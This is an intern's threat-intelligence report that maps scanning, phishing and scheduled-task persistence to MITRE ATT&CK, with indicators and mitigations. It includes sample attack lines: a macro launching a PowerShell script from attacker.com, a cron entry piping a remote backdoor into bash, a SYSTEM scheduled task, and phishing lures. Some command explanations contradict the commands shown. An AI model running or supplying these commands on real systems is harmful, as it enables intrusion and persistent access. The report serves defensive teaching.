**Threat Intelligence Proof-of-Concept (PoC) Report**

**Name:** Swadhin Das

**Intern ID:** 396

**Organization:** Digisuraksha Parhari Foundation

**Introduction to Threat Intelligence**

Threat intelligence is about learning **collecting, analyzing, and applying knowledge** about current and potential threats means how cyber attackers plan, carry out, and succeed in their attacks, so we can defend ourselves and respond faster. It organizes attackers’ goals (tactics), their methods (techniques), and actual steps taken (procedures) into a structured playbook. The goal is to **defend systems and networks** by understanding what attackers do and how.

In simple terms:

* **Tactic** = What the attacker is trying to achieve
* **Technique** = How they are doing it
* **Procedure** = Real-world steps or commands used

Understanding this helps security teams:

* Stop attacks earlier
* Improve detection and response
* Train better defences

The industry standard for this is the MITRE ATT&CK framework—a giant “map” of how real-world attackers operate, so defenders speak the same language and don’t miss crucial steps.

**Why Threat Intelligence Matters**

| **Benefit** | **Description** |
| --- | --- |
| **Proactive Defence** | Identify threats before they hit the system |
| **Faster Detection** | Recognize common attacker behaviors (TTPs) |
| **Rapid Response** | Use known patterns to act quickly in incidents |
| **Adaptive Controls** | Improve firewall, antivirus, and user policies |
| **Threat Actor Insights** | Know the attacker’s goals, tools, and motives |
| **Better Awareness** | Share data with others for collective protection |

**What Is the MITRE ATT&CK Framework?**

MITRE ATT&CK is a globally recognized framework that **categorizes attacker behavior** into **Tactics**, **Techniques**, and **Procedures**. Each “tactic” explains WHY attackers act a certain way during an attack, from the first moment they choose a target until the damage is done or the attack is discovered.

| **Term** | **Meaning** |
| --- | --- |
| **Tactic** | The goal or reason behind an action |
| **Technique** | The method used to achieve the goal |
| **Procedure** | The exact real-world example, like commands |

**The 14 Enterprise Tactics**

| **#** | **Tactic Name** | **MITRE ID** | **Simple Explanation** |
| --- | --- | --- | --- |
| 1 | Reconnaissance | TA0043 | Attacker gathers info before launching the attack |
| 2 | Resource Development | TA0042 | Attacker prepares tools, domains, and accounts |
| 3 | Initial Access | TA0001 | First entry into a system (e.g., phishing) |
| 4 | Execution | TA0002 | Run malicious code or scripts on target |
| 5 | Persistence | TA0003 | Stay inside the system after reboot/login |
| 6 | Privilege Escalation | TA0004 | Gain higher-level (admin/root) access |
| 7 | Defence Evasion | TA0005 | Avoid detection by antivirus/firewalls |
| 8 | Credential Access | TA0006 | Steal passwords, tokens, credentials |
| 9 | Discovery | TA0007 | Explore system, users, and network details |
| 10 | Lateral Movement | TA0008 | Move to other systems inside the network |
| 11 | Collection | TA0009 | Gather data to steal (files, screenshots) |
| 12 | Command & Control | TA0011 | Communicate with attacker’s server |
| 13 | Exfiltration | TA0010 | Send stolen data out of the network |
| 14 | Impact | TA0040 | Destroy, disrupt, or encrypt data |

**Key Concepts**

* Technique: How the attacker achieves a tactic. (Example: Phishing is a way to achieve Initial Access.)
* Procedure: The exact, real-world steps or tools an attacker uses to carry out a technique.
* Sub-technique: A more specific version of a technique.
* Indicators of Compromise (IOCs): Signs that suggest an attack is underway or already happened (suspicious IPs, strange files, unusual login activity).
* Motivation: The reason for attacking. Most often financial, sometimes for espionage, sabotage, or political disruption.

**Technique 1: Active Scanning/ Network Scanning (T1595)**

Attackers use automated tools to find what computers are present and what they’re running—like a burglar rattling every doorknob in a street.

**Technique: Active Scanning**

* **MITRE ID:** T1595
* **Associated Tactic(s):**
  + Reconnaissance (TA0043)
  + Discovery (TA0007)
  + Resource Development (TA0042)

**What is Active Scanning?**

Active Scanning is when attackers **actively probe or scan** a target system or network to find information that helps them plan their next steps. It’s like a thief checking which houses have unlocked doors or weak locks — without breaking in yet.

They look for:

* Live systems (which computers are turned on)
* Open ports (like doors into the system)
* Services (like web servers, email servers)
* Software versions (to look for known bugs)

**Procedure 1.1: Ping Sweep to Discover Devices**

**Goal:** Find all the devices that are “alive” (online) in a local network.

**Command (Windows):**

1. The attacker selects a target network range (say, 192.168.10.1-192.168.10.254).
2. They use a simple command or script to send a ping to every IP address.
   * Example Command:

for /L %i in (1,1,254) do @ping -n 1 -w 200 192.168.1.%i > nul && echo 192.168.1.%i is alive

1. Devices that answer are recorded (the “doors” that seem open).

**Explanation:**

* This loops through all IPs from .1 to .254
* Pings each IP once (-n 1) with a timeout (-w 200)
* If there’s a reply, it prints the IP

**Result:** The attacker gets a list of all the IP addresses in the local network that are turned on and responding.

**Procedure 1.2: Using Nmap to Find Vulnerable Services**

**Goal:** Find which services are running and whether they’re vulnerable.

1. The attacker uses a tool like Nmap to scan for open “doors” on those live devices.
2. Example Command:

nmap -sV 192.168.10.0/24

1. The scan shows open ports and which software/devices/services are running—helping find weak spots.

**Explanation:**

* -sV: Detect service versions
* --script vuln: Use built-in vulnerability scripts
* 192.168.1.0/24: Scan all devices in this subnet

**Result:** Nmap will show:

* Open ports (e.g., port 80 = HTTP)
* What software is running (e.g., Apache 2.4.49)
* Any known CVEs or weaknesses

**Why Attackers Use This**

* They **map the network**
* Identify weak points (e.g., outdated software, unnecessary open ports)
* Plan the next attack step (like exploiting a vulnerable service)

Indicators of Compromise:

* Unusual amounts of failed connection attempts in firewall logs
* Multiple sequential pings in a short time from one IP
* Massive Nmap or scanner requests in security monitoring tools

Motivation:

* Attackers want to map your network quietly to plan targeted attacks later (often for data theft or ransomware).

Impact (If Not Caught):

* Gives attackers a detailed map—making targeted, damaging attacks far easier and faster later on.

**Impact of Active Scanning**

| **Impact Type** | **Description** |
| --- | --- |
| Information Leak | Reveals internal IPs, services, device types |
| Attack Planning | Helps attacker choose best method of entry |
| System Exposure | Scans may hit forgotten or outdated systems |

**Mitigation for Active Scanning**

| **Mitigation** | **How It Helps** |
| --- | --- |
| Firewalls | Block unnecessary inbound and outbound traffic |
| Intrusion Detection | Alert on scanning patterns like mass pings or port scans and also Prevention Systems to detect/stop scanning |
| Segmentation | Isolate internal systems so one scan can’t reach everything never allow direct access to sensitive ports/services from the internet |
| Rate-Limiting | Slow down or block suspicious activity from unknown Ips and monitor for bursts of scan-like activity |

**Linked MITRE ATT&CK Tactics**

| **Tactic ID** | **Tactic Name** | **How This Technique Supports It** |
| --- | --- | --- |
| TA0043 | Reconnaissance | Gathers early info about targets |
| TA0007 | Discovery | Reveals active hosts and services |
| TA0042 | Resource Development | Helps attacker build a target list |

**Technique 2: Phishing (T1566.001)**

**Technique: Phishing: Attachment or Link**

* **MITRE ID:** T1566.001
* **Associated Tactics:**
  + Initial Access (TA0001)
  + Execution (TA0002)
  + Credential Access (TA0006)
  + Collection (TA0009)

**What is Phishing?**

Phishing is when an attacker **pretends to be someone trustworthy** — like a company or co-worker — and sends a fake email or message to trick a victim. Phishing tricks employees or users into giving away passwords or running dangerous software, usually via email.

Their goal is usually to:

* Make the victim **click a link**
* **Download a file**
* **Enter their password** into a fake website

Once the victim falls for it, the attacker can install malware, steal credentials, or begin deeper attacks inside the system.

Spear-Phishing with Malicious Attachment

1. Attacker writes a convincing email—“Invoice Due! Please see attached.”
2. The email contains a Microsoft Word document with a hidden macro.
3. When the victim opens it and enables macros, the macro downloads and runs malware.
4. Malware gives the attacker an initial foothold into the company.

**Procedure 2.1: Malicious Word Document with Macro**

**Goal:** Make the user run a malicious macro that downloads malware.

**Steps:**

1. Attacker creates a Word file named invoice.docm with a **macro** that runs:

Shell "powershell.exe -ExecutionPolicy Bypass -File \\attacker.com\malware.ps1"

1. The attacker sends an email:

Subject: URGENT – Payment Invoice

Body: Please review the attached invoice. Contact us for questions.

1. Victim opens the file and **clicks “Enable Content”** (this runs the macro).
2. The macro silently runs PowerShell and **downloads the malware**.

**Result:** Malware is executed. The attacker gains access to the victim’s system.

**Procedure 2.2: Fake Login Page to Steal Passwords**

**Goal:** Trick user into entering real credentials on a fake website.

**Steps:**

1. Attacker creates a clone of a real website (e.g., https://login-microsoft.com)
2. Sends a phishing email:

Subject: Microsoft Account Locked

Body: Your account was accessed from an unknown location.

Click below to verify and unlock access.

Link: http://login-microsoft.com

1. Victim clicks the link and is taken to the **fake login page**.
2. They enter their **email and password**, which is instantly sent to the attacker.

**Result:**

Attacker now has valid login credentials — they can access email, cloud apps, or internal systems.

Indicators of Compromise:

* Emails urging urgent action, with weird sender addresses or attachments
* Employees reporting odd logins or password resets they didn’t request
* Spread of strange files or sudden spike in malware alerts

Motivation:

* Most phishing is financial—ransomware, payment theft, or corporate espionage.

**Why Attackers Use Phishing**

| **Reason** | **Explanation** |
| --- | --- |
| Easy Entry | No technical skills needed if the victim falls for it |
| Human Weakness | Many people still click suspicious links or enable macros |
| Bypasses Defences | The attacker uses the victim’s action to run the attack |
| Highly Effective | Works on both technical and non-technical users |

**Impact of Phishing**

| **Type of Damage** | **Example** |
| --- | --- |
| Credential Theft | User gives up email or VPN login info |
| Malware Installation | Victim unknowingly installs ransomware or RAT |
| Business Email Compromise | Used to trick others (e.g., finance team) |
| Data Collection | Phishing page collects usernames, passwords, session cookies |

Impact (If Not Caught):

* Attackers gain fast access—can steal sensitive files, mess with business operations, or move deeper inside.

**Mitigation for Phishing**

| **Defence Strategy** | **How It Helps** |
| --- | --- |
| Email Filtering | Blocks known malicious attachments/links |
| User Training | Helps employees spot fake emails |
| Disable Macros by Default | Stops macro-based payloads from running |
| Multi-Factor Authentication (MFA) | Required two-factor authentication for all key logins Even if password is stolen, attacker can’t log in |

**Linked MITRE Tactics**

| **Tactic ID** | **Tactic Name** | **How It Relates** |
| --- | --- | --- |
| TA0001 | Initial Access | Email gives attacker first access |
| TA0002 | Execution | Malicious document executes code |
| TA0006 | Credential Access | Fake login page steals passwords |
| TA0009 | Collection | Attacker gathers sensitive info |

**Technique 3: Scheduled Task / Job (T1053)**

Attackers set up jobs on computers to make their malware or remote commands run again and again—even after reboot or detection.

**Technique: Scheduled Task/Job**

* **MITRE ID:** T1053
* **Associated Tactics:**
  + Persistence (TA0003)
  + Privilege Escalation (TA0004)
  + Defence Evasion (TA0005)
  + Lateral Movement (TA0008)
  + Command and Control (TA0011)
  + Exfiltration (TA0010)
  + Impact (TA0040)

**What Is a Scheduled Task?**

Attackers use this technique to **automatically run their malicious scripts or malware** at scheduled times without the user knowing.

This helps them:

* Stay **inside the system**
* Re-run malware even after a reboot
* Remain **undetected**
* Trigger attacks at specific times

Windows uses **Scheduled Tasks**, while Linux uses **Cron Jobs**.

**Procedure 3.1 – Windows: Create Scheduled Task to Run Malware**

**Goal:**

Make malware execute silently every day at a specific time.

**Command:**

1. Once inside, the attacker runs:

schtasks /create /tn "SystemUpdate" /tr "C:\malicious.exe" /sc minute /mo 15 /ru SYSTEM

1. This creates a repeating task “SystemUpdate” that launches their malware every 15 minutes, as SYSTEM (full admin rights).

**Explanation:**

* /tn: Task name
* /tr: File to run (in this case, the malware)
* /sc daily /st 06:00: Runs daily at 6:00 AM
* /ru SYSTEM: Runs with system-level privileges

**Result:**

* Malware runs every morning silently
* Attacker maintains control even after reboot or logout

**Procedure 3.2 – Linux: Add a Cron Job for Persistence**

**Goal:**

Execute malware or commands every time the system boots.

**Command:**

echo "@reboot /usr/bin/curl http://attacker.com/backdoor.sh | bash" >> /etc/crontab

**Explanation:**

* @reboot: Run this command every time the system restarts
* Uses curl to download the script
* The script runs immediately via bash

**Result:**

* Backdoor reopens every time the system reboots
* Attacker keeps access without having to reinfect

**Why Attackers Use This**

| **Benefit** | **Explanation** |
| --- | --- |
| Long-Term Access | Script keeps running even if user logs out |
| Stealth | Runs in the background without alert |
| Privileged Execution | Scheduled tasks often run as admin or root |
| Defence Evasion | Avoids antivirus by executing under trusted processes |

Indicators of Compromise:

* Unknown scheduled tasks/cron jobs appearing in system configurations
* Scripts or binaries in strange locations (especially hidden folders)
* Malware that respawns soon after being deleted

Motivation:

* To maintain guaranteed, “invisible” access so their theft, spying, or attacks continue—even if noticed

Impact (If Not Caught):

* Malware stays undetected, attacker can steal new data, use as launchpad for more attacks, or even destroy/alter files

**Impact of Scheduled Tasks**

| **Type of Damage** | **Description** |
| --- | --- |
| Persistence | Malware stays on system long-term |
| Command & Control | Regularly contacts attacker server |
| Data Exfiltration | Sends stolen data on a schedule |
| Delayed Impact | Launches ransomware or wiper at a chosen time |

**Mitigation for Scheduled Tasks**

| **Strategy** | **How It Helps** |
| --- | --- |
| Monitor Task Creation | Alert on unusual new scheduled tasks or cron jobs |
| Least Privilege | Limit who can create scheduled tasks |
| Endpoint Detection | Use tools like Sysmon or EDR to monitor background jobs for endpoint detection tools to spot and block unknown tasks |
| Audit Crontabs | Regular reviews of scheduled jobs and running processes by IT/security teams & Check /etc/crontab and user crontabs for hidden jobs |

**Linked MITRE Tactics**

| **Tactic ID** | **Tactic Name** | **How It Relates** |
| --- | --- | --- |
| TA0003 | Persistence | Task keeps malware running |
| TA0004 | Privilege Escalation | Runs as SYSTEM/root |
| TA0005 | Defence Evasion | Blends in with legitimate jobs |
| TA0008 | Lateral Movement | Can launch scripts to reach other systems |
| TA0011 | Command & Control | Sends check-ins to attacker server |
| TA0010 | Exfiltration | Exports stolen files on a schedule |
| TA0040 | Impact | Runs destructive scripts at a chosen time |

**How the Techniques Map to All 14 Tactics**

Each of the 3 techniques (Active Scanning, Phishing, Scheduled Task) helps the attacker achieve different goals (tactics). Here's how they map:

| **Tactic Name** | **Covered Technique(s)** | **Explanation** |
| --- | --- | --- |
| Reconnaissance | Active Scanning | Attacker scans to learn about targets |
| Resource Development | Active Scanning | Used to identify and prepare targets |
| Initial Access | Phishing | Used to enter the system via user trick |
| Execution | Phishing | Malware is executed when macro/file is opened |
| Persistence | Scheduled Task | Attacker regains access after reboot |
| Privilege Escalation | Scheduled Task | Task runs with higher permissions |
| Defence Evasion | Scheduled Task | Hides malware behind system tasks |
| Credential Access | Phishing | Fake login pages steal passwords |
| Discovery | Active Scanning | Identifies systems, services, users |
| Lateral Movement | Scheduled Task | Can be used to reach other systems |
| Collection | Phishing | Collects sensitive information |
| Command & Control | Scheduled Task | Used to contact attacker server |
| Exfiltration | Scheduled Task | Sends stolen data out silently |
| Impact | Scheduled Task | Executes ransomware, wipes, or shutdowns |

**Table of Techniques and Procedures**

| **Technique** | **Procedure 1** | **Procedure 2** | **Key Tactics** |
| --- | --- | --- | --- |
| **T1595** – Active Scanning | Ping sweep to find devices | Nmap vulnerability scan | Reconnaissance, Discovery, Resource Dev |
| **T1566.001** – Phishing | Word doc with macro (invoice) | Fake login page (Microsoft) | Initial Access, Execution, Credential Access, Collection |
| **T1053** – Scheduled Task | Windows Task Scheduler (daily) | Linux cron job (@reboot) | Persistence, Priv Esc, Defence Evasion, C2, Impact |

**Key Motivations for Attacks**

* Financial gain (ransomware, data theft, payment fraud)
* Espionage (spying, stealing business secrets)
* Sabotage (destroying competitor systems or causing chaos)
* Revenge or personal grudge
* Nation-state objectives (political disruption, critical infrastructure attacks)

**Real-World Example Scenario**

Imagine an attacker group wants to steal research data:

1. Reconnaissance: They use scanning tools to find the company’s public web servers and employee emails.
2. Resource Development: Set up server infrastructure and emails that look almost like the real company’s.
3. Initial Access: Send clever phishing emails to employees.
4. Execution: When employees click, malware runs and gives a remote foothold.
5. Persistence: The malware plants jobs so it auto-restarts even if found and deleted.
6. Impact: They exfiltrate confidential research, then encrypt all company files for ransom.

**Mitigations for All Techniques**

* Use layered security—firewalls, email protection, endpoint detection
* Teach users to recognize sneaky emails, pop-ups, and requests for login
* Restrict admin/root accounts as much as possible
* Investigate strange processes, new scheduled jobs, and bursty network activity
* Enforce software patches and strong password policies

**Indicators of Compromise: What to Watch For**

| **Category** | **Examples** |
| --- | --- |
| Network Logs | Lots of failed connections, port scans, odd traffic patterns |
| Windows Logs | New scheduled tasks, macros running in Word/Excel |
| Email | Attachments from strange email addresses, urgent messages with links |
| Linux Logs | Cron jobs you didn’t set, scripts in hidden folders |
| Files | Unexplained downloads, files reappearing after deletion |
| Security Tools | Antivirus/EDR flagging new scripts or repeated infections |

**Why Threat Intelligence Matters for Any Organization**

* Proactively finds and closes gaps attackers use
* Makes hunting for threats less guesswork
* Helps everyone—from IT, to leadership, to users—work together and use a “common language”
* Reduces panic during an attack: you know what to check and fix first

**Final Conclusion**

This Proof of Concept (PoC) demonstrates **how attackers behave in the real world** using well-known MITRE ATT&CK techniques.

We focused on:

* **Active Scanning** to identify weak systems
* **Phishing** to trick users and gain entry
* **Scheduled Tasks** to stay hidden and maintain control

Each technique included **step-by-step procedures** that attackers actually use — and we also explained **how to defend against each one**.

By understanding these tactics, techniques, and procedures (TTPs), organizations can:

* Detect threats faster
* Train their employees better
* Improve incident response
* Set stronger technical defences

Even if as am new to cybersecurity, learning these basics help to build the foundation to **think like an attacker and defend like a professional**.